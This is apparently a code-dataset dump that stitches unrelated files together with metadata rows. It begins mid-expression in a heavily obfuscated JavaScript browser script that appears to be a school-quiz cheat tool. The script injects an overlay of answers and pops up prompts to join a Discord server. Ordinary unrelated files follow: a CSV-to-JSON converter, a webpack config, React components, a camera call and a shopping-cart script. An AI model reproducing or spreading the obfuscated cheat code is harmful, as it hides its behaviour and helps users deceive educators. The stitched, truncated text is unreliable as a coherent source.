-0x34e,_0x177e06-0x1e0,_0x2a1daf-0x120,_0x177e06);}if(_0x50bca0[_0x182d73(-0x19a,-0x210,-0x12b,-0x164)]===_0x50bca0[_0x182d73(-0x186,-0x1c2,-0x165,-0x127)]){const _0x199697=_0x5bb220[_0x182d73(-0x14e,-0x132,-0x18f,-0xd7)](_0x41da64,_0x5bb220[_0x182d73(-0x193,-0x20a,-0x1ec,-0x177)]);if(_0x199697)return _0xcfe7ca[_0x38e9fc(-0xb1,-0x64,-0xc0,-0x7c)](_0x5bb220[_0x182d73(-0x1f1,-0x20d,-0x218,-0x264)]);}else{textElement=document[_0x38e9fc(-0x3c,0xd,0x69,-0xc)+_0x38e9fc(-0x48,-0x2c,-0x11,-0x4a)]('p'),textElement[_0x182d73(-0x144,-0x158,-0x10f,-0x1ae)]=_0x50bca0[_0x38e9fc(-0x77,-0x5d,-0xba,-0x5c)],textElement['innerText']=_0x5bac2d[_0x182d73(-0x192,-0x13f,-0x1c2,-0x1d2)],textElement[_0x182d73(-0x1a6,-0x1f3,-0x20c,-0x153)]=_0x182d73(-0x195,-0x1de,-0x1b5,-0x1e7)+_0x38e9fc(-0x11f,-0x13a,-0xcd,-0xd3)+_0x182d73(-0x16a,-0x13d,-0x1ca,-0x190)+'\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'+_0x182d73(-0x1b9,-0x216,-0x223,-0x1e5)+'ize:\x2030px;'+_0x182d73(-0x17c,-0x19d,-0x184,-0x124)+_0x182d73(-0x16a,-0x182,-0x13c,-0x11d)+_0x182d73(-0x14c,-0x1c4,-0x151,-0x195)+_0x38e9fc(-0x63,-0xc0,-0x5d,-0x76)+'\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'+'\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'+_0x38e9fc(-0x60,0x2,-0x74,-0x41)+_0x38e9fc(-0x58,-0x2f,-0x94,-0x43)+_0x38e9fc(-0x63,-0x75,-0xcd,-0xda)+_0x38e9fc(-0x6c,-0xd,-0x92,-0x48)+'\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'+_0x182d73(-0x1fe,-0x193,-0x24c,-0x24f)+';\x0a\x20\x20\x20\x20\x20\x20\x20\x20'+_0x38e9fc(-0xae,-0x7e,-0x29,-0x48)+'\x20\x20\x20\x20\x20\x20-web'+'kit-user-s'+_0x182d73(-0x1c1,-0x16c,-0x1f7,-0x186)+_0x38e9fc(-0x33,0x34,-0x87,-0x1c)+_0x38e9fc(-0x2a,0xc,-0xb8,-0x48)+_0x38e9fc(-0x40,-0x7c,-0x23,-0x3b)+_0x182d73(-0x1d2,-0x16a,-0x219,-0x1be)+_0x182d73(-0x168,-0x118,-0x183,-0x13f)+_0x182d73(-0x16a,-0x15d,-0x10c,-0x14c)+_0x38e9fc(0x1,-0x8b,-0x4a,-0x48)+_0x38e9fc(-0xa7,0x3a,-0x5,-0x37)+_0x182d73(-0x196,-0x1e4,-0x18f,-0x1d4)+_0x38e9fc(-0x7b,-0x3a,-0x11,-0xa)+_0x182d73(-0x16a,-0x116,-0x199,-0x1d5)+_0x182d73(-0x1dd,-0x1a9,-0x19e,-0x20b)+_0x182d73(-0x18c,-0x1dc,-0x11b,-0x1d3)+_0x38e9fc(-0xb9,-0xc6,-0xe5,-0x7a)+_0x182d73(-0x16a,-0x1a2,-0x13a,-0x132)+_0x182d73(-0x16a,-0x1aa,-0x139,-0x1b2)+_0x182d73(-0x174,-0x190,-0x17f,-0x10e)+'lor:\x20black'+_0x182d73(-0x13e,-0x170,-0x140,-0x198)+_0x38e9fc(-0x48,-0x4a,-0x2a,-0x48)+_0x38e9fc(-0x6c,-0xc6,-0xe3,-0x7f)+_0x38e9fc(-0xb8,-0x130,-0x6e,-0xc8)+'0px;';try{choiceDiv['children'][_0x591fc2][_0x182d73(-0x181,-0x163,-0x12e,-0x16c)+'d'](textElement);}catch(_0x26e781){_0x50bca0[_0x182d73(-0x150,-0xf9,-0x10a,-0xf7)](confirm,_0x50bca0[_0x182d73(-0x1c8,-0x1cf,-0x1d5,-0x1f2)])&&window['open'](_0x50bca0[_0x38e9fc(-0x88,-0x71,-0xcf,-0xd4)]);;};}});else boxes[_0x5d4562(0x227,0x27c,0x284,0x299)]((_0x1612ab,_0x5047c7)=>{function _0x3cb179(_0x526513,_0x1f8455,_0x38e05d,_0x21bf66){return _0x5d4562(_0x526513- -0x29,_0x1f8455-0x1d,_0x38e05d-0x39,_0x1f8455);}function _0x4df4d2(_0x1f7e5e,_0x292e95,_0x397d8d,_0x343663){return _0x5d4562(_0x292e95-0x201,_0x292e95-0x107,_0x397d8d-0x55,_0x1f7e5e);}if(choiceDiv['children'][_0x4df4d2(0x37b,0x36b,0x370,0x37a)]==-0x17*-0x5e+-0x1*0x925+0xb6&&choiceDiv[_0x3cb179(0x1ba,0x18f,0x170,0x17c)][_0x5047c7][_0x4df4d2(0x388,0x3e4,0x434,0x44d)][-0x3*-0x844+0x175+-0x1a40]['innerText']!=_0x1612ab['text'])choiceDiv[_0x4df4d2(0x42b,0x3e4,0x385,0x408)][_0x5047c7]['children'][-0x54c+-0x5b*-0xd+0x2*0x57][_0x4df4d2(0x381,0x3e9,0x3b1,0x389)]=_0x1612ab[_0x4df4d2(0x3d1,0x3bd,0x3d8,0x3df)];});}};if(_0xdcb7ad[_0x398027(0x3ce,0x36e,0x406,0x3dd)](window['location'][_0x5d4562(0x177,0x1b9,0x118,0x160)],_0x5d4562(0x161,0x1b0,0x115,0x1c1)))_0xdcb7ad['figvm'](clearInterval,interval);},0x23c9+-0x50a+-0x1ebf);}else{_0x3260c7(_0xf87103(0x325,0x391,0x3b0,0x3e2)+_0x21ba06(0x25f,0x2cc,0x2ee,0x2b7)+'uld\x20you\x20li'+_0x21ba06(0x2e0,0x2a2,0x2ac,0x28c)+_0xf87103(0x383,0x32a,0x2b8,0x35c)+_0xf87103(0x410,0x3a0,0x3cf,0x328)+'rt\x20discord'+_0xf87103(0x321,0x35c,0x371,0x3b0))&&_0x314964['open'](_0xf87103(0x34c,0x362,0x332,0x3a9)+_0xf87103(0x327,0x38e,0x3e1,0x3a3)+_0xf87103(0x33f,0x308,0x351,0x32f));;}})());function _0x2ffcdd(){const _0x1e7023={'IwTyi':_0x5b5f05(0x447,0x4b8,0x4e1,0x52d)+'hoolcheats'+_0x19f1f5(0x14f,0x16a,0xf2,0x189)+_0x19f1f5(0x204,0x18f,0x213,0x267),'AehpN':function(_0x5c025e,_0x16daf9){function _0x195b50(_0x5cb830,_0x82b602,_0x549560,_0x1f3ae1){return _0x19f1f5(_0x82b602- -0x45,_0x549560,_0x549560-0x131,_0x1f3ae1-0x2d);}return _0xdcb7ad[_0x195b50(0xe9,0x13b,0x162,0xdc)](_0x5c025e,_0x16daf9);},'VvGJH':_0xdcb7ad[_0x5b5f05(0x487,0x47f,0x4d0,0x43c)],'wDkEO':function(_0x13e98b,_0x60c2cc){function _0x1db2ab(_0x330975,_0x476d18,_0x2578bd,_0x3ca5c7){return _0x5b5f05(_0x330975-0x1d0,_0x3ca5c7- -0x63e,_0x2578bd,_0x3ca5c7-0x77);}return _0xdcb7ad[_0x1db2ab(-0x28e,-0x1d8,-0x1e8,-0x24f)](_0x13e98b,_0x60c2cc);},'JGwGq':function(_0x466978,_0x5ca053){return _0x466978>_0x5ca053;},'xrXtA':function(_0x4aaa4d,_0xd78298){return _0x4aaa4d-_0xd78298;},'zdmoV':function(_0x386d89,_0x4a380e){return _0x386d89-_0x4a380e;},'HRduO':function(_0xbae65e,_0x20dcd3){function _0x1c28b0(_0x28d3fa,_0xc977b0,_0x344eab,_0x57633d){return _0x19f1f5(_0x344eab-0x246,_0x57633d,_0x344eab-0x1c3,_0x57633d-0xa3);}return _0xdcb7ad[_0x1c28b0(0x41c,0x4b1,0x446,0x4b4)](_0xbae65e,_0x20dcd3);}};let _0x46b5d8=document['createElem'+'ent'](_0xdcb7ad[_0x19f1f5(0x189,0x12e,0x1c7,0x1fd)]);_0x46b5d8[_0x19f1f5(0x192,0x16a,0x1f5,0x1c3)]=_0x19f1f5(0x14c,0x11f,0x1a8,0x172)+_0x19f1f5(0x171,0x181,0x19f,0x145)+_0x5b5f05(0x47b,0x44f,0x47e,0x3e4)+_0x5b5f05(0x425,0x3e6,0x430,0x44b)+_0x5b5f05(0x3d5,0x422,0x430,0x439)+_0x19f1f5(0x205,0x1be,0x200,0x219)+_0x5b5f05(0x4a8,0x487,0x4b5,0x4f5)+_0x19f1f5(0x1ed,0x20b,0x1e4,0x1da)+_0x19f1f5(0x1e7,0x207,0x19c,0x173)+'x\x20solid\x20rg'+_0x19f1f5(0x15d,0x18e,0x155,0x1c1)+_0x5b5f05(0x4b6,0x4b7,0x4f4,0x4b3)+'round:\x20rgb'+_0x5b5f05(0x3f6,0x46c,0x415,0x417)+'\x20240);\x20pos'+_0x19f1f5(0x179,0x16e,0x146,0x159)+_0x5b5f05(0x4c4,0x455,0x3eb,0x417)+_0x19f1f5(0x208,0x20e,0x1d2,0x211)+_0x19f1f5(0x1ae,0x210,0x1d7,0x162)+_0x19f1f5(0x20f,0x22a,0x1b6,0x1a8)+_0x5b5f05(0x447,0x468,0x44f,0x430)+_0x19f1f5(0x18e,0x1fe,0x1e8,0x186)+_0x19f1f5(0x131,0xe5,0xda,0x19b)+_0x19f1f5(0x1bd,0x1d3,0x181,0x17d)+_0x19f1f5(0x162,0x1a7,0x1a2,0x113),_0x46b5d8[_0x19f1f5(0x15f,0x10f,0x18a,0x145)]='<p>Made\x20by'+_0x19f1f5(0x160,0x114,0xeb,0x1d7)+_0x5b5f05(0x461,0x4ba,0x475,0x4ed)+_0x5b5f05(0x3ed,0x3f4,0x410,0x448)+_0x19f1f5(0x173,0x101,0x14b,0x1cf)+_0x19f1f5(0x140,0x14b,0xeb,0x1af)+'ps://twitt'+_0x19f1f5(0x186,0x13e,0x1fa,0x120)+_0x5b5f05(0x488,0x490,0x4c6,0x434)+'et=\x22_blank'+_0x5b5f05(0x480,0x4c2,0x4ca,0x4f0)+_0x19f1f5(0x150,0x160,0x18e,0x110);function _0x19f1f5(_0x4ba905,_0x53ae1b,_0x4df1b2,_0x4848d0){return _0x2b288a(_0x4ba905-0x2,_0x53ae1b,_0x4ba905-0x342,_0x4848d0-0x62);}document['body'][_0x19f1f5(0x1b7,0x1a2,0x15d,0x1c5)+'d'](_0x46b5d8);function _0x5b5f05(_0x3df35f,_0x52be25,_0x38c85f,_0x4665ad){return _0x2e5608(_0x38c85f,_0x52be25-0x143,_0x38c85f-0x1ee,_0x52be25- -0x3e);}var _0x36170e=0xf5a+-0x65*0x19+0x5*-0x119,_0x106a79=-0x33b+0x1048+-0xd*0x101,_0x27caac=0x1880+-0x1ddc+0x55c,_0xd892bd=-0xbbb+0x377*-0x7+-0x8ff*-0x4;_0x46b5d8[_0x5b5f05(0x44b,0x4b5,0x4fc,0x4d6)+'n']=(_0x35c52a=window[_0x19f1f5(0x149,0x101,0x194,0x1a7)])=>{function _0x4d2689(_0x35e3be,_0x8559fc,_0x5e7c6e,_0x28aa3b){return _0x19f1f5(_0x8559fc-0x1c6,_0x28aa3b,_0x5e7c6e-0x7f,_0x28aa3b-0x142);}function _0x3fd175(_0x366d7d,_0x265aba,_0x30ecea,_0x1913ef){return _0x19f1f5(_0x366d7d-0x26f,_0x30ecea,_0x30ecea-0xa0,_0x1913ef-0x81);}if(_0xdcb7ad[_0x3fd175(0x3c0,0x361,0x3c4,0x388)]('cKzns',_0x3fd175(0x423,0x452,0x44f,0x3c1)))_0x35c52a[_0x4d2689(0x392,0x3a0,0x39f,0x3cb)+'ault'](),_0x27caac=_0x35c52a[_0x4d2689(0x401,0x3d9,0x40b,0x421)],_0xd892bd=_0x35c52a[_0x3fd175(0x462,0x47c,0x444,0x469)],document[_0x4d2689(0x3d4,0x3a3,0x417,0x3b5)]=()=>{function _0x20fe99(_0xdab028,_0x27c112,_0x6a5ade,_0x222a5e){return _0x4d2689(_0xdab028-0x6e,_0x6a5ade- -0x5b7,_0x6a5ade-0x1bc,_0x222a5e);}function _0x1eac00(_0x4230e9,_0x42b909,_0x498319,_0x489823){return _0x4d2689(_0x4230e9-0x47,_0x42b909- -0xc9,_0x498319-0x58,_0x4230e9);}document[_0x1eac00(0x285,0x2da,0x30e,0x2b6)]=null,document[_0x20fe99(-0x26f,-0x219,-0x21a,-0x1de)+'e']=null;},document['onmousemov'+'e']=_0x325fec=>{const _0x5e55db={'Revnr':function(_0x1929e7,_0x504d22){return _0x1929e7(_0x504d22);},'xBipx':_0x5789a5(-0x17a,-0x19d,-0x18e,-0x203)+_0x5a40d1(0x14b,0x1b3,0x150,0x1ce)+_0x5789a5(-0x207,-0x1a0,-0x193,-0x16e)+'t\x20to\x20get\x20t'+_0x5a40d1(0x1f6,0x236,0x22d,0x1cc)+'\x20version?','IxDTQ':_0x1e7023[_0x5a40d1(0x1eb,0x18e,0x13d,0x1fb)]};function _0x5a40d1(_0x3f8eb7,_0x425154,_0x149852,_0x2eaba6){return _0x3fd175(_0x425154- -0x20f,_0x425154-0xab,_0x3f8eb7,_0x2eaba6-0x1c2);}function _0x5789a5(_0xaf309f,_0x68e83f,_0x4db44d,_0x53f49d){return _0x4d2689(_0xaf309f-0xb9,_0x68e83f- -0x4fb,_0x4db44d-0xd1,_0xaf309f);}if(_0x1e7023[_0x5789a5(-0x162,-0x17d,-0x133,-0x1ef)](_0x1e7023[_0x5789a5(-0x215,-0x1cd,-0x216,-0x212)],'lEPFm')){const _0x32f965=_0x5e55db[_0x5789a5(-0x216,-0x1b4,-0x208,-0x147)](_0x3f88be,_0x5e55db[_0x5789a5(-0x1d9,-0x1ef,-0x1fd,-0x1d7)]);if(_0x32f965)return _0x54723c[_0x5789a5(-0x210,-0x19b,-0x13a,-0x158)](_0x5e55db[_0x5789a5(-0x1b4,-0x1f1,-0x249,-0x20a)]);}else{_0x325fec=_0x325fec||window[_0x5a40d1(0x203,0x1a9,0x21a,0x219)],_0x325fec[_0x5789a5(-0x19e,-0x15b,-0x119,-0xf4)+_0x5789a5(-0x1af,-0x1c6,-0x1f9,-0x19a)](),_0x36170e=_0x27caac-_0x325fec['clientX'],_0x106a79=_0x1e7023[_0x5789a5(-0x189,-0x1d1,-0x208,-0x1bc)](_0xd892bd,_0x325fec[_0x5a40d1(0x2a0,0x253,0x1ec,0x1f1)]),_0x27caac=_0x325fec[_0x5789a5(-0x12e,-0x122,-0x14b,-0x147)],_0xd892bd=_0x325fec[_0x5789a5(-0x185,-0x142,-0x172,-0x14e)];let _0x897582=_0x1e7023[_0x5a40d1(0x2b3,0x255,0x23f,0x249)](_0x1e7023[_0x5789a5(-0xe1,-0x151,-0x17a,-0x193)](_0x46b5d8[_0x5789a5(-0x1e7,-0x1df,-0x19d,-0x1f5)],_0x106a79),0x15f*-0x13+-0x20d6+0x3ae3)?_0x1e7023['wDkEO'](_0x46b5d8['offsetTop'],_0x106a79):-0x696+0x5fa+0x9c,_0xd93c2=_0x1e7023[_0x5789a5(-0x183,-0x1d1,-0x1da,-0x1c9)](_0x46b5d8[_0x5a40d1(0x22b,0x1db,0x211,0x1f5)],_0x36170e)>0x5*-0x185+0xb93*0x2+-0x52f*0x3?_0x1e7023['zdmoV'](_0x46b5d8[_0x5a40d1(0x1de,0x1db,0x1ff,0x226)],_0x36170e):0x638+0x1803*0x1+-0x47*0x6d;_0x46b5d8[_0x5a40d1(0x1d9,0x1f2,0x22c,0x1c9)][_0x5789a5(-0x217,-0x1dd,-0x20f,-0x1ff)]=_0x897582+'px',_0x46b5d8['style'][_0x5789a5(-0x149,-0x1a9,-0x133,-0x1d9)]=_0x1e7023[_0x5789a5(-0x223,-0x1ed,-0x239,-0x199)](_0xd93c2,'px');}};else{if(_0x3dcf88){const _0x9c6e84=_0x30faa8[_0x3fd175(0x47f,0x42b,0x45b,0x4de)](_0x2a7e81,arguments);return _0x318a29=null,_0x9c6e84;}}};};_0xdcb7ad[_0x2e5608(0x571,0x52b,0x4da,0x4fb)](_0x2ffcdd);}}catch(_0x2e7bcb){const _0x4515ac=_0xdcb7ad['figvm'](confirm,_0xdcb7ad[_0x2b288a(-0x1c3,-0x1f8,-0x203,-0x248)]);if(_0x4515ac)return window[_0x2b288a(-0x18c,-0x1a5,-0x1a8,-0x1c8)](_0xdcb7ad['zrulB']);}})());
| 424 | 33,573 | 0.763722 |
06400f95a4858d8cc1cac1e554757961449567a6 | 2,074 | js | JavaScript | index.js | IsraelRamirez/airport_dataset_from_csv_to_json | 891ad1a51b607e19899336987438b6bcd866c465 | [
"MIT"
] | null | null | null | index.js | IsraelRamirez/airport_dataset_from_csv_to_json | 891ad1a51b607e19899336987438b6bcd866c465 | [
"MIT"
] | null | null | null | index.js | IsraelRamirez/airport_dataset_from_csv_to_json | 891ad1a51b607e19899336987438b6bcd866c465 | [
"MIT"
] | null | null | null | const fs = require('fs')
const exitFileName = '2017.json'
const charDelimited = ','
const inputFileName = './2017.csv'
const cantidadDeFilas = 1000
class data {
constructor(items) {
this.FL_DATE = items[0]
this.OP_CARRIER = items[1]
this.OP_CARRIER_FL_NUM = parseInt(items[2])
this.ORIGIN = items[3]
this.DEST = items[4]
this.CRS_DEP_TIME = parseInt(items[5])
this.DEP_TIME = parseFloat(items[6])
this.DEP_DELAY = parseFloat(items[7])
this.TAXI_OUT = parseFloat(items[8])
this.WHEELS_OFF = parseFloat(items[9])
this.WHEELS_ON = parseFloat(items[10])
this.TAXI_IN = parseFloat(items[11])
this.CRS_ARR_TIME = parseInt(items[12])
this.ARR_TIME = parseFloat(items[13])
this.ARR_DELAY = parseFloat(items[14])
this.CANCELLED = parseFloat(items[15])
this.CANCELLATION_CODE = items[16]
this.DIVERTED = parseFloat(items[17])
this.CRS_ELAPSED_TIME = parseFloat(items[18])
this.ACTUAL_ELAPSED_TIME = parseFloat(items[19])
this.AIR_TIME = parseFloat(items[20])
this.DISTANCE = parseFloat(items[21])
this.CARRIER_DELAY = parseFloat(items[22])
this.WEATHER_DELAY = parseFloat(items[23])
this.NAS_DELAY = parseFloat(items[24])
this.SECURITY_DELAY = parseFloat(items[25])
this.LATE_AIRCRAFT_DELAY = parseFloat(items[26])
}
}
fs.readFile(inputFileName, 'utf8', (err, dataFile) => {
if (err) return new Error(err)
let fullData = dataFile.split('\n')
fullData.shift()
const cant = fullData.length
let datos = []
while (fullData.length >= cant - cantidadDeFilas) {
datos.push(new data(fullData.shift().split(charDelimited).map((item) => { return !item ? 0.0 : item })))
console.log((datos.length / (cant - cantidadDeFilas)) * 100 + "% completo")
}
fs.writeFile(exitFileName, JSON.stringify(datos), function(err) {
if (err) return console.log(err);
})
}) | 38.407407 | 113 | 0.62054 |
0640973bd3e50199b726f989192eb58b0fa4ef45 | 1,580 | js | JavaScript | step-04-plugins/webpack/webpack.dev.js | pvnkumar17/webpack | 5e73b80ea715e8c01fcafafdbde4eb74edf0d624 | [
"MIT"
] | 12 | 2017-04-27T12:55:42.000Z | 2019-03-25T21:01:33.000Z | step-04-plugins/webpack/webpack.dev.js | pvnkumar17/webpack | 5e73b80ea715e8c01fcafafdbde4eb74edf0d624 | [
"MIT"
] | null | null | null | step-04-plugins/webpack/webpack.dev.js | pvnkumar17/webpack | 5e73b80ea715e8c01fcafafdbde4eb74edf0d624 | [
"MIT"
] | 3 | 2018-03-20T09:38:46.000Z | 2019-01-27T16:03:22.000Z | const webpackMerge = require('webpack-merge'); // used to merge webpack configs
const commonConfig = require('./webpack.common.js'); // the settings that are common to prod and dev
const DefinePlugin = require('webpack/lib/DefinePlugin');
// Uncomment for DLL Plugin demo - part 1
/*
const webpackMergeDll = webpackMerge.strategy({plugins: 'replace'});
const DllBundlesPlugin = require('webpack-dll-bundles-plugin').DllBundlesPlugin;
const AddAssetHtmlPlugin = require('add-asset-html-webpack-plugin');
*/
const METADATA = {
LOGIN_URL: 'http://localhost:3001/login',
LOGOUT_URL: 'http://localhost:3001/logout'
}
module.exports = function (opts) {
return webpackMerge(commonConfig(opts), {
plugins: [
new DefinePlugin({
'ENV': JSON.stringify(opts.env),
'LOGIN_URL': JSON.stringify(METADATA.LOGIN_URL),
'LOGOUT_URL': JSON.stringify(METADATA.LOGOUT_URL),
}),
// Uncomment for DLL plugin - part 2
/*new DllBundlesPlugin({
bundles: {
polyfills: [
'rangeslider.js',
],
vendor: [
'lodash',
'jquery',
]
},
dllDir: path.resolve(root, 'dll'),
webpackConfig: webpackMergeDll(commonConfig({env: opts.env}), {
devtool: 'cheap-module-source-map',
})
}),
new AddAssetHtmlPlugin([
{ filepath: path.resolve(root, `dll/${DllBundlesPlugin.resolveFile('polyfills')}`) },
{ filepath: path.resolve(root, `dll/${DllBundlesPlugin.resolveFile('vendor')}`) }
]),*/
]
});
} | 31.6 | 100 | 0.622785 |
064169fbd992532ce49651f3b6e31d14acdbe603 | 2,512 | js | JavaScript | react-ui/src/components/Offcanvas/AbstractNavItem.js | shageenderan/Tamahelpchi | 4a6c769daecce663e01509c61c6e45383953a9eb | [
"MIT"
] | null | null | null | react-ui/src/components/Offcanvas/AbstractNavItem.js | shageenderan/Tamahelpchi | 4a6c769daecce663e01509c61c6e45383953a9eb | [
"MIT"
] | null | null | null | react-ui/src/components/Offcanvas/AbstractNavItem.js | shageenderan/Tamahelpchi | 4a6c769daecce663e01509c61c6e45383953a9eb | [
"MIT"
] | null | null | null | import classNames from 'classnames'
import * as React from 'react'
import { useContext } from 'react'
import useEventCallback from '@restart/hooks/useEventCallback'
import warning from 'warning'
import NavContext from './NavContext'
import SelectableContext, { makeEventKey } from './SelectableContext'
import { jsx as _jsx } from 'react/jsx-runtime'
const defaultProps = {
disabled: false,
}
const AbstractNavItem = /*#__PURE__*/ React.forwardRef(
({ active, className, eventKey, onSelect, onClick, as: Component, ...props }, ref) => {
const navKey = makeEventKey(eventKey, props.href)
const parentOnSelect = useContext(SelectableContext)
const navContext = useContext(NavContext)
let isActive = active
if (navContext) {
if (!props.role && navContext.role === 'tablist') props.role = 'tab'
const contextControllerId = navContext.getControllerId(navKey)
const contextControlledId = navContext.getControlledId(navKey)
process.env.NODE_ENV !== 'production'
? warning(
!contextControllerId || !props.id,
`[react-bootstrap] The provided id '${props.id}' was overwritten by the current navContext with '${contextControllerId}'.`
)
: void 0
process.env.NODE_ENV !== 'production'
? warning(
!contextControlledId || !props['aria-controls'],
`[react-bootstrap] The provided aria-controls value '${props['aria-controls']}' was overwritten by the current navContext with '${contextControlledId}'.`
)
: void 0
props['data-rb-event-key'] = navKey
props.id = contextControllerId || props.id
props['aria-controls'] = contextControlledId || props['aria-controls']
isActive = active == null && navKey != null ? navContext.activeKey === navKey : active
}
if (props.role === 'tab') {
if (props.disabled) {
props.tabIndex = -1
props['aria-disabled'] = true
}
props['aria-selected'] = isActive
}
const handleOnclick = useEventCallback(e => {
onClick == null ? void 0 : onClick(e)
if (navKey == null) return
onSelect == null ? void 0 : onSelect(navKey, e)
parentOnSelect == null ? void 0 : parentOnSelect(navKey, e)
})
return /*#__PURE__*/ _jsx(Component, {
...props,
ref: ref,
onClick: handleOnclick,
className: classNames(className, isActive && 'active'),
})
}
)
AbstractNavItem.defaultProps = defaultProps
export default AbstractNavItem
| 38.060606 | 165 | 0.653264 |
0642d46d913ba7ed22549876858589f45ddc1f84 | 1,195 | js | JavaScript | source/components/Editor.react.js | fedosejev/youtube-annotation | 85a897f199fdfeabd56397067f679922ef2d295c | [
"MIT"
] | null | null | null | source/components/Editor.react.js | fedosejev/youtube-annotation | 85a897f199fdfeabd56397067f679922ef2d295c | [
"MIT"
] | null | null | null | source/components/Editor.react.js | fedosejev/youtube-annotation | 85a897f199fdfeabd56397067f679922ef2d295c | [
"MIT"
] | null | null | null | var React = require('react');
var Editor = React.createClass({
editor: null,
createEditor: function () {
var opts = {
container: 'epiceditor',
textarea: null,
basePath: '/vendor/epiceditor/',
clientSideStorage: true,
localStorageName: 'epiceditor',
useNativeFullscreen: true,
parser: marked,
file: {
name: 'epiceditor',
defaultContent: '',
autoSave: 100
},
theme: {
base: 'epiceditor.css',
preview: 'github.css',
editor: 'epic-light.css'
},
button: {
preview: true,
fullscreen: true,
bar: "auto"
},
focusOnLoad: false,
shortcut: {
modifier: 18,
fullscreen: 70,
preview: 80
},
string: {
togglePreview: 'Toggle Preview Mode',
toggleEdit: 'Toggle Edit Mode',
toggleFullscreen: 'Enter Fullscreen'
},
autogrow: false
}
this.editor = new EpicEditor(opts).load();
},
componentDidMount: function () {
this.createEditor();
},
render: function () {
return (
<div id="epiceditor"></div>
);
}
});
module.exports = Editor;
| 19.916667 | 46 | 0.538912 |
0642d919552dbe227200dfb07c9f132948d53b63 | 420 | js | JavaScript | javascript/alookup/src/components/SearchBar.js | iovar/experiments | d923fb39ff68dc9e0cb60ed7df7f75e0a07c6d6a | [
"MIT"
] | 1 | 2020-07-29T16:55:27.000Z | 2020-07-29T16:55:27.000Z | javascript/alookup/src/components/SearchBar.js | iovar/exp-old | d923fb39ff68dc9e0cb60ed7df7f75e0a07c6d6a | [
"MIT"
] | null | null | null | javascript/alookup/src/components/SearchBar.js | iovar/exp-old | d923fb39ff68dc9e0cb60ed7df7f75e0a07c6d6a | [
"MIT"
] | null | null | null | import React from 'react';
export function SearchBar({ query, onChange, className }) {
return (
<React.Fragment>
<div className={`${className ? className : '' }`}>
<input type="text"
className="w-100 form-control p-3 h-auto"
placeholder="type artist name"
value={query}
onChange={(e) => onChange(e.target.value)} />
</div>
</React.Fragment>
);
}
| 24.705882 | 59 | 0.566667 |
064504bed6256664d4ad861e957ec611d9ef0971 | 261 | js | JavaScript | src/nextIcon.js | cjnaude/react-easy-coverflow | 70cb99b572062fd8bbfc60f205684a52da66dbbd | [
"MIT"
] | 1 | 2020-06-07T00:15:30.000Z | 2020-06-07T00:15:30.000Z | src/nextIcon.js | cjnaude/react-easy-coverflow | 70cb99b572062fd8bbfc60f205684a52da66dbbd | [
"MIT"
] | 1 | 2021-05-10T18:39:29.000Z | 2021-05-10T18:39:29.000Z | src/nextIcon.js | cjnaude/react-easy-coverflow | 70cb99b572062fd8bbfc60f205684a52da66dbbd | [
"MIT"
] | null | null | null | import React from "react";
const Icon = (props) => (
<svg {...props} xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
<path d="M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"/><path d="M0 0h24v24H0z" fill="none"/>
</svg>
);
export default Icon; | 29 | 99 | 0.62069 |
0645c0a69bbe11437c2764bc0373f42f46c72390 | 619 | js | JavaScript | app/src/main/assets/js/shooting.js | ricohapi/theta-automatic-face-blur-plugin | 32cbcee341953be24c80b0f120c5868222ac7de0 | [
"Apache-2.0"
] | 14 | 2018-09-26T10:53:01.000Z | 2021-10-06T13:27:17.000Z | app/src/main/assets/js/shooting.js | ricohapi/theta-automatic-face-blur-plugin | 32cbcee341953be24c80b0f120c5868222ac7de0 | [
"Apache-2.0"
] | null | null | null | app/src/main/assets/js/shooting.js | ricohapi/theta-automatic-face-blur-plugin | 32cbcee341953be24c80b0f120c5868222ac7de0 | [
"Apache-2.0"
] | 3 | 2018-09-14T13:28:11.000Z | 2019-01-30T17:42:19.000Z | function takePicture() {
disableShutterButton();
var command = {};
command.name = "camera.takePicture";
var xmlHttpRequest = new XMLHttpRequest();
xmlHttpRequest.onreadystatechange = function() {
var READYSTATE_COMPLETED = 4;
var HTTP_STATUS_OK = 200;
if (this.readyState == READYSTATE_COMPLETED &&
this.status == HTTP_STATUS_OK) {
console.log(this.responseText);
startLivePreview();
}
}
xmlHttpRequest.open('POST', '/blur/commands/execute', true);
xmlHttpRequest.setRequestHeader('Content-Type', 'application/json');
xmlHttpRequest.send(JSON.stringify(command));
} | 30.95 | 70 | 0.704362 |
06463c337d8f5790925856503e0b1541e6c5e697 | 198 | js | JavaScript | app/javascript/utils/form.js | SMores/mutual-aid | 2c65c58e826447c627eb0ab71c538a5138d63930 | [
"MIT"
] | 49 | 2020-09-01T18:49:46.000Z | 2021-12-05T20:42:44.000Z | app/javascript/utils/form.js | SMores/mutual-aid | 2c65c58e826447c627eb0ab71c538a5138d63930 | [
"MIT"
] | 422 | 2020-09-01T13:54:52.000Z | 2022-03-30T21:59:24.000Z | app/javascript/utils/form.js | SMores/mutual-aid | 2c65c58e826447c627eb0ab71c538a5138d63930 | [
"MIT"
] | 64 | 2020-09-03T21:58:15.000Z | 2021-11-19T18:08:55.000Z | export function fieldNameWithPrefix(prefix, name) {
if (!prefix || !prefix.length) return name
return name.endsWith('[]')
? `${prefix}[${name.slice(0, -2)}][]`
: `${prefix}[${name}]`
}
| 24.75 | 51 | 0.59596 |
064651416c0409e6f480e0e529f89bc8a8a82277 | 10,287 | js | JavaScript | organic_shop/www/organic-cart/js/index.js | jigneshpshah/organic_shop | 30973b383581b9d5f3216e95fffb9d82fd42152f | [
"MIT"
] | null | null | null | organic_shop/www/organic-cart/js/index.js | jigneshpshah/organic_shop | 30973b383581b9d5f3216e95fffb9d82fd42152f | [
"MIT"
] | null | null | null | organic_shop/www/organic-cart/js/index.js | jigneshpshah/organic_shop | 30973b383581b9d5f3216e95fffb9d82fd42152f | [
"MIT"
] | null | null | null | $(document).ready(function () {
/* Session Function */
var cart = [];
var session_cart = sessionStorage.getItem("cart");
var total = sessionStorage.getItem("total");
var cart_count = frappe.get_cookie("cart_count");
if(cart_count) {
$('#view_cart').removeAttr('hidden');
set_cart()
}
console.log(total)
console.log(session_cart)
if(session_cart){
$("#total").text(parseFloat(total))
cart = JSON.parse(session_cart)
JSON.parse(session_cart).forEach(element => {
console.log(element)
$("#"+element.id).prop('checked', true)
$("#"+element.id).closest('tr').find('.qty').val(element.qty)
});
}
